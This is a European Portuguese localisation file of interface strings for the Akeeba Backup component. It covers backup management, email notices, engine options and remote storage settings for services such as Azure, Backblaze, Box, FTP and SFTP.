COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVEPATH_PAST="Onde estava no meu servidor?"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVEPARTS_1="A sua cópia de segurança consiste num ficheiro."
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVEPARTS="A sua cópia de segurança consiste em %d ficheiros."
COM_AKEEBABACKUP_BUADMIN_LBL_BACKUPINFO="Informação do arquivo de cópia de segurança"
COM_AKEEBABACKUP_BUADMIN_LBL_DOWNLOAD_PARTS="A sua cópia de segurança consiste em %d ficheiros de partes. <em>Tem</em> de os transferir todos e colocá-los no mesmo diretório para que a extração do arquivo e a restauração da cópia de segurança sejam bem-sucedidas."
COM_AKEEBABACKUP_BUADMIN_LBL_DOWNLOAD_TITLE="Transferir através do seu navegador pode corromper os ficheiros"
COM_AKEEBABACKUP_BUADMIN_LBL_DOWNLOAD_WARNING="Recomendamos fechar esta caixa de diálogo e usar FTP em modo de transferência <code>Binário</code> ou SFTP para transferir os seus arquivos de cópia de segurança."
COM_AKEEBABACKUP_BUADMIN_LBL_LOGFILEID="ID do ficheiro de registo"
COM_AKEEBABACKUP_BUADMIN_LOG_DOWNLOAD="Transferir"
COM_AKEEBABACKUP_BUADMIN_LOG_DOWNLOAD_CONFIRM="Transferir arquivos de cópia de segurança através do seu navegador é propenso\na falhas, corrupção de ficheiros e truncamento de ficheiros devido a razões\nobjetivamente fora do nosso controlo (configuração do servidor, configuração\ndo sítio, plugins de terceiros e configuração do navegador).\n\nRecomendamos VIVAMENTE que transfira sempre os arquivos de\ncópia de segurança apenas através de FTP em modo de transferência\nBinário (não use Auto ou ASCII; corromperá os seus arquivos\nde cópia de segurança) usando software cliente como o FileZilla,\n CyberDuck, WinSCP ou similar; ou usando a funcionalidade de\ngestor de ficheiros do painel de controlo do seu alojamento.\n\nSe continuar com esta transferência, está a concordar explicitamente\nque renuncia ao seu direito de suporte para qualquer problema de\ntransferência, extração ou restauração de arquivos de cópia de segurança\ne compreende que tais pedidos não serão respondidos.\n\nTem a certeza de que pretende continuar?"
COM_AKEEBABACKUP_BUADMIN_LOG_EDITCOMMENT="Ver / Editar comentário da cópia de segurança"
COM_AKEEBABACKUP_BUADMIN_LOG_NOT_AVAILABLE="Este ficheiro de registo já não está disponível no seu sítio"
COM_AKEEBABACKUP_BUADMIN_LOG_SAVEDOK="As alterações à entrada de cópia de segurança foram guardadas com sucesso"
COM_AKEEBABACKUP_BUADMIN_LOG_SAVEERROR="As alterações à entrada de cópia de segurança não foram guardadas"
COM_AKEEBABACKUP_BUADMIN_MSG_DELETED="A entrada e o arquivo da cópia de segurança foram eliminados com sucesso"
COM_AKEEBABACKUP_BUADMIN_MSG_DELETEDFILE="O arquivo da cópia de segurança foi eliminado com sucesso"
COM_AKEEBABACKUP_BUADMIN_UNFREEZE_OK="Registo(s) descongelado(s) corretamente"

COM_AKEEBABACKUP_COMMON_EMAIL_BODY_INFO="A nova cópia de segurança foi realizada com o perfil #%s. Consiste em %s parte(s). A lista completa de ficheiros deste conjunto de cópia de segurança é a seguinte:"
COM_AKEEBABACKUP_COMMON_EMAIL_BODY_OK="O Akeeba Backup concluiu a cópia de segurança do seu sítio usando a funcionalidade de cópia de segurança no frontend. Pode visitar a secção de administração do sítio para transferir a cópia de segurança."
COM_AKEEBABACKUP_COMMON_EMAIL_DEAFULT_SUBJECT="Tem uma nova parte de cópia de segurança"
COM_AKEEBABACKUP_COMMON_EMAIL_SUBJECT_OK="O Akeeba Backup realizou uma nova cópia de segurança"
COM_AKEEBABACKUP_COMMON_ERR_NOT_ENABLED="Operação não permitida"

COM_AKEEBABACKUP_CONFIG="Configuração"
COM_AKEEBABACKUP_CONFIGURATION="Akeeba Backup <small>Opções de Configuração do Componente</small>"
COM_AKEEBABACKUP_CONFIG_ADVANCED="Configuração avançada"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBALF_DESC="O Akeeba Backup interromperá o passo de processamento após arquivar um ficheiro grande. Quando ativa esta opção, o Akeeba Backup funcionará mais rápido. No entanto, isto pode resultar em erros de tempo limite ou Erro Interno do Servidor."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBALF_LABEL="Desativar interrupção de passo após ficheiros grandes"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBBD_DESC="O Akeeba Backup interromperá o passo de processamento sempre que começar a trabalhar num novo domínio. Isto melhora a verbosidade do processo, mas prolonga o tempo da cópia de segurança em 10-20 segundos. Quando ativa esta opção, o Akeeba Backup funcionará mais rápido. No entanto, poderá observar um comportamento irregular nos passos reportados na página de cópia de segurança."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBBD_LABEL="Desativar interrupção de passo entre domínios"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBBLF_DESC="O Akeeba Backup interromperá o passo de processamento antes de arquivar um ficheiro grande. Quando ativa esta opção, o Akeeba Backup funcionará mais rápido. No entanto, isto pode resultar em erros de tempo limite ou Erro Interno do Servidor."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBBLF_LABEL="Desativar interrupção de passo antes de ficheiros grandes"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBPA_DESC="O Akeeba Backup interromperá o passo de processamento se considerar que ficará sem tempo antes de arquivar um ficheiro. Este cálculo não é totalmente preciso e pode resultar em cópias de segurança mais lentas. Quando ativa esta opção, o Akeeba Backup funcionará mais rápido. No entanto, isto pode resultar em erros de tempo limite ou Erro Interno do Servidor."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBPA_LABEL="Desativar interrupção proativa de passo"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBPP_DESC="O Akeeba Backup interromperá o passo de processamento entre os subpassos da finalização da cópia de segurança e do pós-processamento. Isto pode adicionar cerca de 10 segundos ao tempo total da cópia de segurança. Quando ativa esta opção, o Akeeba Backup funcionará mais rápido. No entanto, isto pode resultar em erros de tempo limite ou Erro Interno do Servidor."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBPP_LABEL="Desativar interrupção de passo na finalização"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SETTIMELIMIT_DESC="Se o seu servidor não executar o PHP em Modo Seguro e suportar set_time_limit(), o Akeeba Backup tentará definir um tempo máximo de execução do PHP infinito para contornar potenciais problemas de tempo limite"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SETTIMELIMIT_LABEL="Definir um limite de tempo do PHP infinito"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SETMEMLIMIT_DESC="Indica ao Akeeba Backup para tentar aumentar o limite de memória do PHP para um valor ridiculamente elevado (16Gb). Isto permite-lhe comprimir ficheiros maiores e enviar arquivos de cópia de segurança maiores usando opções de armazenamento remoto com utilização intensiva de memória, como o WebDAV. Nota: isto define apenas o limite para o consumo máximo de memória. Na maioria dos casos, o motor de cópia de segurança do Akeeba Backup consome <em>muito menos</em> memória do que isso, normalmente na ordem dos 20Mb. Comprimir e enviar ficheiros maiores também requer alterar outras opções na página de Configuração do perfil de cópia de segurança."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SETMEMLIMIT_LABEL="Definir um limite de memória elevado"
COM_AKEEBABACKUP_CONFIG_ANGIE_KEY_DESCRIPTION="Pode opcionalmente proteger com palavra-passe o Script de Restauração do Akeeba Backup, impedindo o acesso não autorizado ao instalador. Quando executar o instalador, ser-lhe-á pedido que introduza esta palavra-passe. Por favor note que a palavra-passe é sensível a maiúsculas e minúsculas, ou seja, ABC, abc e Abc são três palavras-passe diferentes."
COM_AKEEBABACKUP_CONFIG_ANGIE_KEY_TITLE="Palavra-passe do Script de Restauração"
COM_AKEEBABACKUP_CONFIG_ARBITRARYFEEMAIL_DESC="Enviar e-mail para este endereço (deixe em branco para enviar e-mail a todos os Super Utilizadores)"
COM_AKEEBABACKUP_CONFIG_ARBITRARYFEEMAIL_LABEL="Endereço de e-mail"
COM_AKEEBABACKUP_CONFIG_ARCHIVENAME_DESCRIPTION="Modelo de nomenclatura para o arquivo de cópia de segurança, quando aplicável. Pode usar as seguintes macros:<ul><li><strong>[HOST]</strong> O nome do host. AVISO! Esta etiqueta não funciona em modo CRON.</li><li><strong>[DATE]</strong> Data atual</li><li><strong>[TIME_TZ]</strong> Hora e fuso horário atuais</li></ul>Estão disponíveis mais; por favor consulte a documentação."
COM_AKEEBABACKUP_CONFIG_ARCHIVENAME_TITLE="Nome do arquivo de cópia de segurança"
COM_AKEEBABACKUP_CONFIG_ARCHIVERENGINE_DESCRIPTION="Define o formato de arquivo do Akeeba Backup. Alguns motores, como o DirectFTP, não produzem realmente arquivos, mas encarregam-se de transferir os seus ficheiros para outros servidores."
COM_AKEEBABACKUP_CONFIG_ARCHIVERENGINE_TITLE="Motor de arquivamento"
COM_AKEEBABACKUP_CONFIG_AUTORESUME_DESCRIPTION="Quando esta opção está desmarcada, o Akeeba Backup interromperá a cópia de segurança quando o servidor responder com um erro. Quando esta opção está ativada, o Akeeba Backup tentará retomar a cópia de segurança repetindo o último passo. Isto aplica-se apenas a cópias de segurança no backend. Também não lhe permitirá retomar com sucesso todas as cópias de segurança que resultem num erro: apenas tentativas de cópia de segurança temporariamente bloqueadas por restrições de utilização de CPU do servidor ou problemas de interrupção de rede podem ser retomadas."
COM_AKEEBABACKUP_CONFIG_AUTORESUME_MAXRETRIES_DESCRIPTION="Quantas vezes deve o Akeeba Backup tentar retomar a cópia de segurança antes de finalmente desistir. 3 a 5 tentativas funcionam melhor na maioria dos servidores."
COM_AKEEBABACKUP_CONFIG_AUTORESUME_MAXRETRIES_TITLE="Número máximo de repetições de um passo de cópia de segurança após um erro AJAX"
COM_AKEEBABACKUP_CONFIG_AUTORESUME_TIMEOUT_DESCRIPTION="Quantos segundos aguardar antes de retomar a cópia de segurança. É aconselhável definir isto para 30 segundos ou mais (recomenda-se 120 segundos na maioria dos casos) para dar ao seu servidor o tempo necessário para desbloquear o processo de cópia de segurança antes de o Akeeba Backup tentar concluí-lo novamente."
COM_AKEEBABACKUP_CONFIG_AUTORESUME_TIMEOUT_TITLE="Período de espera antes de repetir o passo de cópia de segurança"
COM_AKEEBABACKUP_CONFIG_AUTORESUME_TITLE="Retomar a cópia de segurança após a ocorrência de um erro AJAX"
COM_AKEEBABACKUP_CONFIG_AZURE_ACCOUNTNAME_DESCRIPTION="O nome da sua conta. Se o seu endpoint for foobar.blob.core.windows.net então o seu nome de conta é <strong>foobar</strong> e deve escrever <em>foobar</em> nesta caixa."
COM_AKEEBABACKUP_CONFIG_AZURE_ACCOUNTNAME_TITLE="Nome da conta"
COM_AKEEBABACKUP_CONFIG_AZURE_CONTAINER_DESCRIPTION="O contentor de Armazenamento BLOB do Windows Azure para guardar os arquivos de cópia de segurança. O contentor já deve existir."
COM_AKEEBABACKUP_CONFIG_AZURE_CONTAINER_TITLE="Contentor"
COM_AKEEBABACKUP_CONFIG_AZURE_DIRECTORY_DESCRIPTION="O diretório dentro do contentor de Armazenamento BLOB do Windows Azure para guardar os arquivos de cópia de segurança. Para guardar tudo na raiz do contentor, por favor deixe em branco."
COM_AKEEBABACKUP_CONFIG_AZURE_DIRECTORY_TITLE="Diretório"
COM_AKEEBABACKUP_CONFIG_AZURE_KEY_DESCRIPTION="Pode encontrar a sua Chave de Acesso Primária na página da sua conta em windows.azure.com. Copie e cole-a aqui. Tem sempre dois sinais de igual no final."
COM_AKEEBABACKUP_CONFIG_AZURE_KEY_TITLE="Chave de Acesso Primária"
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_ACCOUNTID_DESCRIPTION="Introduza o ID da chave de aplicação do BackBlaze. Pode encontrar esta informação na <a href='https://secure.backblaze.com/b2_buckets.htm'>página da sua conta BackBlaze</a> após clicar em 'Show Account ID and Application Key'. Se estiver a usar a sua chave mestra, por favor introduza o seu Account ID em vez disso."
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_ACCOUNTID_TITLE="ID da Chave de Aplicação"
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_APPLICATIONKEY_DESCRIPTION="Introduza a sua chave de aplicação do BackBlaze. Pode encontrar esta informação na <a href='https://secure.backblaze.com/b2_buckets.htm'>página da sua conta BackBlaze</a> após clicar em 'Show Account ID and Application Key'. <strong>AVISO</strong>! Isto só lhe é mostrado UMA VEZ pelo BackBlaze. Para o ver novamente, terá de regenerar a Chave de Aplicação, fazendo com que TODAS as instâncias do Akeeba Backup previamente associadas sejam desassociadas até que introduza nelas a <em>nova</em> Chave de Aplicação."
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_APPLICATIONKEY_TITLE="Chave de Aplicação"
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_BUCKET_DESCRIPTION="O nome do seu bucket Backblaze"
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_BUCKET_TITLE="Bucket"
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_DIRECTORY_DESCRIPTION="O diretório dentro do seu bucket onde os arquivos de cópia de segurança serão guardados. Deixe em branco para guardar os ficheiros na raiz do bucket."
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_DISABLEMULTIPART_DESCRIPTION="Quando ativa esta opção, o Akeeba Backup realizará envios de parte única para o Backblaze. Precisará de usar um Tamanho de Parte menor para a definição de Arquivos Divididos na configuração do Motor de Arquivamento para evitar que o envio atinja o tempo limite, causando a falha do processo de cópia de segurança."
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_DISABLEMULTIPART_TITLE="Desativar envios multiparte"
COM_AKEEBABACKUP_CONFIG_BACKEND_HEADER_DESC="Opções que indicam ao Akeeba Backup como lidar com o scripting no backend"
COM_AKEEBABACKUP_CONFIG_BACKEND_HEADER_LABEL="Backend"
COM_AKEEBABACKUP_CONFIG_BACKEND_LOCALTIME_DESC="Devemos converter a hora de início da cópia de segurança para o fuso horário do utilizador atualmente autenticado na página Gerir Cópias de Segurança? Se definido como Não, todas as horas de início da cópia de segurança aparecem no fuso horário GMT. Esta opção NÃO afeta as variáveis [DATE] e [TIME] para a nomenclatura dos ficheiros de cópia de segurança ou a descrição predefinida; Use a opção Fuso horário da cópia de segurança para alterar como estas variáveis funcionam."
COM_AKEEBABACKUP_CONFIG_BACKEND_LOCALTIME_LABEL="Hora local em Gerir Cópias de Segurança"
COM_AKEEBABACKUP_CONFIG_BACKEND_SHOWDELETEONRESTORE_DESC="Devo dar aos utilizadores que restauram um sítio a opção de eliminar tudo antes de extrair um arquivo? Esta opção aplica-se apenas à versão Professional do nosso software. AVISO! ISTO É EXTREMAMENTE PERIGOSO. LEIA A DOCUMENTAÇÃO COM MUITA ATENÇÃO ANTES DE A ATIVAR. SE USAR ESTA FUNCIONALIDADE DURANTE A RESTAURAÇÃO, ESTÁ A RENUNCIAR A QUALQUER DIREITO DE SOLICITAR SUPORTE E ASSUME TODA A RESPONSABILIDADE."
COM_AKEEBABACKUP_CONFIG_BACKEND_SHOWDELETEONRESTORE_LABEL="Mostrar a opção “Eliminar tudo antes da extração”"
COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_ABBREVIATION="Fuso Horário"
COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_DESC="O sufixo de fuso horário a apresentar ao lado da hora de início da cópia de segurança na página Gerir Cópias de Segurança.<br/>Nenhum: não é apresentado sufixo (não recomendado).<br/>Fuso Horário: um fuso horário abreviado, por exemplo CEST para Hora de Verão da Europa Central.<br/>Desvio GMT: o desvio em relação ao fuso horário GMT, por exemplo GMT+01:00 (= duas horas à frente de GMT, ou seja, Hora Padrão da Europa Central). Por favor note que durante o horário de verão o desvio GMT é +1 hora em relação ao fuso horário normal. Esta diferença de desvio SERÁ mostrada neste formato."
COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_GMTOFFSET="Desvio GMT"
COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_LABEL="Sufixo de fuso horário"
COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_NONE="Nenhum"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_ALLDB="Todas as bases de dados configuradas (ficheiro de arquivo)"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_DBONLY="Apenas a base de dados principal do sítio (ficheiro SQL)"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_DESCRIPTION="Que tipo de cópia de segurança do sítio pretende que o Akeeba Backup realize"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_FILEONLY="Apenas ficheiros do sítio"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_FULL="Cópia de segurança completa do sítio"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_INCFILE="Apenas ficheiros, incremental"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_INCFULL="Sítio completo, ficheiros incrementais"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_TITLE="Tipo de cópia de segurança"
COM_AKEEBABACKUP_CONFIG_BACTHSIZE_DESCRIPTION="Reduzir este valor poupará memória e evitará erros HTTP 500 ao fazer cópia de segurança de tabelas enormes"
COM_AKEEBABACKUP_CONFIG_BACTHSIZE_TITLE="Número de linhas por lote"
COM_AKEEBABACKUP_CONFIG_BIGFILETHRESHOLD_DESCRIPTION="Ficheiros acima deste tamanho serão guardados sem compressão, ou o seu processamento abrangerá múltiplos passos (dependendo do motor de arquivamento) de forma a evitar tempos limite. Sugerimos aumentar este valor apenas em servidores rápidos e fiáveis."
COM_AKEEBABACKUP_CONFIG_BIGFILETHRESHOLD_TITLE="Limiar de ficheiro grande"
COM_AKEEBABACKUP_CONFIG_BLANKOUTPASS_DESCRIPTION="Remove o nome de utilizador e a palavra-passe das ligações à base de dados da cópia de segurança"
COM_AKEEBABACKUP_CONFIG_BLANKOUTPASS_TITLE="Limpar nome de utilizador/palavra-passe"
COM_AKEEBABACKUP_CONFIG_BOX_ACCESSTOKEN_TITLE="Token de Acesso"
COM_AKEEBABACKUP_CONFIG_BOX_CHUNKUPLOAD_ENABLE="Ativar envio por blocos"
COM_AKEEBABACKUP_CONFIG_BOX_CHUNKUPLOAD_SIZE="Tamanho do bloco"
COM_AKEEBABACKUP_CONFIG_BOX_DIRECTORY_DESCRIPTION="O diretório dentro da sua conta Box onde os arquivos de cópia de segurança serão guardados. Deixe em branco para guardar os ficheiros na raiz da pasta Box."
COM_AKEEBABACKUP_CONFIG_BOX_DIRECTORY_TITLE="Diretório"
COM_AKEEBABACKUP_CONFIG_BOX_OPENOAUTH_DESC="Clique neste botão para abrir uma nova janela onde pode iniciar sessão na sua conta com o fornecedor de armazenamento. Depois, por favor feche a janela de pop-up e clique no botão Passo 2 abaixo."
COM_AKEEBABACKUP_CONFIG_BOX_OPENOAUTH_TITLE="Autenticação - Comece aqui"
COM_AKEEBABACKUP_CONFIG_BOX_REFRESHTOKEN_DESCRIPTION="Preenchido automaticamente quando concluir o Passo 1 da autenticação acima. NÃO partilhe o mesmo token em vários sítios. Em vez disso, autentique cada sítio separadamente."
COM_AKEEBABACKUP_CONFIG_BOX_REFRESHTOKEN_TITLE="Token de Atualização"
COM_AKEEBABACKUP_CONFIG_CHUNKSIZE_DESCRIPTION="O Akeeba Backup processa ficheiros grandes em pequenos blocos, de forma a evitar tempos limite. Este parâmetro define o tamanho máximo do bloco para este tipo de processamento."
COM_AKEEBABACKUP_CONFIG_CHUNKSIZE_TITLE="Tamanho do bloco para processamento de ficheiros grandes"
COM_AKEEBABACKUP_CONFIG_CLIENTSIDEWAIT_DESCRIPTION="Quando esta caixa está desmarcada (predefinição) e o passo de cópia de segurança termina em menos tempo do que o tempo mínimo de execução configurado, o Akeeba Backup fará o servidor aguardar até que esse tempo seja atingido. Isto pode fazer com que alguns servidores muito restritivos terminem a sua cópia de segurança. Marcar esta caixa implementará o período de espera no navegador, contornando esta limitação. IMPORTANTE: Esta opção aplica-se apenas a cópias de segurança no backend. As cópias de segurança no frontend, JSON API (remota) e Linha de Comandos (CLI) implementam sempre a espera no lado do servidor."
COM_AKEEBABACKUP_CONFIG_CLIENTSIDEWAIT_TITLE="Implementação no lado do cliente do tempo mínimo de execução"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESAPIKEY_DESCRIPTION="A sua chave API do CloudFiles"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESAPIKEY_TITLE="Chave API"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESCONTAINER_DESCRIPTION="O contentor CloudFiles para guardar os arquivos de cópia de segurança"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESCONTAINER_TITLE="Contentor"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESDIRECTORY_DESCRIPTION="O diretório dentro do contentor CloudFiles para guardar os arquivos de cópia de segurança. Para guardar tudo na raiz do contentor, por favor deixe em branco."
COM_AKEEBABACKUP_CONFIG_CLOUDFILESDIRECTORY_TITLE="Diretório"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESUSERNAME_DESCRIPTION="O seu nome de utilizador do CloudFiles"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESUSERNAME_TITLE="Nome de utilizador"
COM_AKEEBABACKUP_CONFIG_CLOUDME_DIRECTORY_DESCRIPTION="O diretório dentro da sua conta CloudMe onde os arquivos de cópia de segurança serão guardados. Deixe em branco para guardar os ficheiros na raiz da pasta CloudMe."
COM_AKEEBABACKUP_CONFIG_CLOUDME_DIRECTORY_TITLE="Diretório"
COM_AKEEBABACKUP_CONFIG_CLOUDME_PASSWORD_DESCRIPTION="Palavra-passe"
COM_AKEEBABACKUP_CONFIG_CLOUDME_PASSWORD_TITLE="Palavra-passe"
COM_AKEEBABACKUP_CONFIG_CLOUDME_USERNAME_DESCRIPTION="Nome de utilizador"
COM_AKEEBABACKUP_CONFIG_CLOUDME_USERNAME_TITLE="Nome de utilizador"
COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_ENABLE_DESCRIPTION="Quando ativado, o Akeeba Backup apagará ficheiros de cópia de segurança antigos se forem mais do que o limite definido abaixo."
COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_ENABLE_TITLE="Ativar quota por contagem"
COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_VALUE_DESCRIPTION="O Akeeba Backup apagará ficheiros de cópia de segurança antigos se forem mais do que o limite definido nesta definição. As cópias de segurança multiparte são consideradas como <em>um</em> ficheiro!<br/><br/><strong>Dica</strong>: Selecione Personalizado e escreva o valor pretendido se não estiver na lista."
COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_VALUE_TITLE="Quota por contagem"
COM_AKEEBABACKUP_CONFIG_DATEFORMAT_DESC="Altere como a data/hora de início das cópias de segurança é apresentada na página Gerir Cópias de Segurança. Deixe em branco para usar a formatação predefinida. Pode usar as opções de formatação da função date do PHP, consulte: http://www.php.net/manual/en/function.date.php"
COM_AKEEBABACKUP_CONFIG_DATEFORMAT_LABEL="Formato da data"
COM_AKEEBABACKUP_CONFIG_DELETEAFTER_DESCRIPTION="Se ativado, o arquivo de cópia de segurança será removido deste servidor assim que o pós-processamento terminar com sucesso."
COM_AKEEBABACKUP_CONFIG_DELETEAFTER_TITLE="Eliminar arquivo após o processamento"
COM_AKEEBABACKUP_CONFIG_DEREFERENCESYMLINKS_DESCRIPTION="Quando ativado, as ligações simbólicas serão seguidas tal como ficheiros e diretórios normais. Quando desmarcado, as ligações simbólicas não serão seguidas. Se estiver a usar ligações simbólicas que levam a um ciclo de ligações infinito, desmarque esta opção."
COM_AKEEBABACKUP_CONFIG_DEREFERENCESYMLINKS_TITLE="Dereferenciar ligações simbólicas"
COM_AKEEBABACKUP_CONFIG_DESKTOP_NOTIFICATIONS_DESC="Deve ser-lhe pedido que permita a apresentação de notificações no ambiente de trabalho? As notificações no ambiente de trabalho aparecem quando a cópia de segurança começa, termina, gera um aviso ou para. Só são apresentadas em navegadores compatíveis (normalmente: Chrome, Safari, Firefox, Opera) se der ao Akeeba Backup permissão para apresentar notificações no ambiente de trabalho quando solicitado na página do Painel de Controlo. Esta opção apenas controla se este pedido deve ser apresentado. Uma vez que aceite ou recuse as permissões de mensagens de notificação no ambiente de trabalho, esta definição <strong>não tem efeito</strong>. A única forma de ativar ou desativar as notificações no ambiente de trabalho será através das definições do seu navegador."
COM_AKEEBABACKUP_CONFIG_DESKTOP_NOTIFICATIONS_LABEL="Pedir permissões para Notificações no Ambiente de Trabalho"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_FTPS_DESCRIPTION="Se ativado, o Akeeba Backup tentará ligar-se ao seu servidor FTP usando uma ligação encriptada por SSL. <strong>Isto não é o mesmo que SFTP, SCP ou \"FTP Seguro\"!</strong> Note que se o seu servidor não suportar este método obterá erros de ligação."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_FTPS_TITLE="Usar FTP sobre SSL (FTPS)"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_HOST_DESCRIPTION="Nome do host do servidor FTP, sem o protocolo. Isto significa que <code>ftp://example.com</code> é <strong>inválido</strong> e <code>example.com</code> é válido. O Akeeba Backup só suporta servidores FTP e FTPS. <u>Não</u> suporta SFTP, SCP e outras variantes de SSH."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_HOST_TITLE="Nome do host"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_INITDIR_DESCRIPTION="O caminho <strong>FTP</strong> absoluto para o diretório onde os ficheiros serão enviados. Se tiver dúvidas, ligue-se ao seu servidor com o FileZilla, navegue até ao diretório pretendido e copie o caminho que aparece no painel do lado direito acima da lista de diretórios. É normalmente algo curto, como <code>/public_html</code>."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_INITDIR_TITLE="Diretório inicial"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PASSIVE_DESCRIPTION="Usar o modo passivo do FTP ao transferir dados. Isto está ativado por predefinição, pois é o único método que funciona através de firewalls comummente instaladas em servidores web. Não desative a menos que tenha a certeza de que o seu servidor web não está atrás de uma firewall e que o seu servidor FTP requer absolutamente transferências de ficheiros em modo Ativo."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PASSIVE_TITLE="Usar modo passivo"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PASSWORD_DESCRIPTION="Palavra-passe do servidor FTP. É normalmente sensível a maiúsculas e minúsculas. Se tiver dúvidas, por favor contacte o seu administrador de rede."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PASSWORD_TITLE="Palavra-passe"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PORT_DESCRIPTION="Porta do servidor FTP. A definição mais comum é 21. Se tiver dúvidas, por favor contacte o seu administrador de rede."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PORT_TITLE="Porta"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_TEST_DESCRIPTION="Use este botão para testar a ligação FTP e ver os erros de ligação em caso de falha."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_TEST_FAIL="Não foi possível ligar ao servidor FTP remoto."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_TEST_OK="A ligação ao servidor FTP remoto foi estabelecida com sucesso!"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_TEST_TITLE="Testar ligação FTP"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_USER_DESCRIPTION="Nome de utilizador do servidor FTP. É normalmente sensível a maiúsculas e minúsculas. Se tiver dúvidas, por favor contacte o seu administrador de rede."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_USER_TITLE="Nome de utilizador"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_HOST_DESCRIPTION="Por favor introduza o nome do host ou endereço IP do seu servidor SFTP"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_HOST_TITLE="Nome do host"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_INITDIR_DESCRIPTION="Por favor introduza o diretório para onde os ficheiros serão enviados. Se tiver dúvidas, use um cliente SFTP de ambiente de trabalho, ligue-se ao seu servidor, navegue até ao diretório pretendido e copie o caminho aqui apresentado. O caminho deve estar em formato absoluto, por exemplo /users/myusername/public_html"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_INITDIR_TITLE="Diretório inicial"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_PASSWORD_DESCRIPTION="A palavra-passe SFTP"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_PASSWORD_TITLE="Palavra-passe"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_PORT_DESCRIPTION="A porta habitual para ligações SFTP é 22. Se o seu servidor estiver a usar uma porta diferente, por favor introduza-a aqui."
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_PORT_TITLE="Porta"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_TEST_DESCRIPTION="Use este botão para testar a ligação SFTP e ver os erros de ligação em caso de falha."
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_TEST_FAIL="Não foi possível ligar ao servidor SFTP remoto. A mensagem de erro foi:"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_TEST_OK="Ligado com sucesso ao servidor SFTP remoto. Nota: a definição do diretório inicial não foi testada."
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_TEST_TITLE="Testar ligação SFTP"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_USER_DESCRIPTION="O nome de utilizador SFTP. Por favor note que o seu servidor SFTP deve permitir autenticação por nome de utilizador/palavra-passe."
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_USER_TITLE="Nome de utilizador"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSACCESSKEY_DESCRIPTION="A sua Chave de Acesso DreamObjects, disponibilizada no painel de controlo DreamHost"
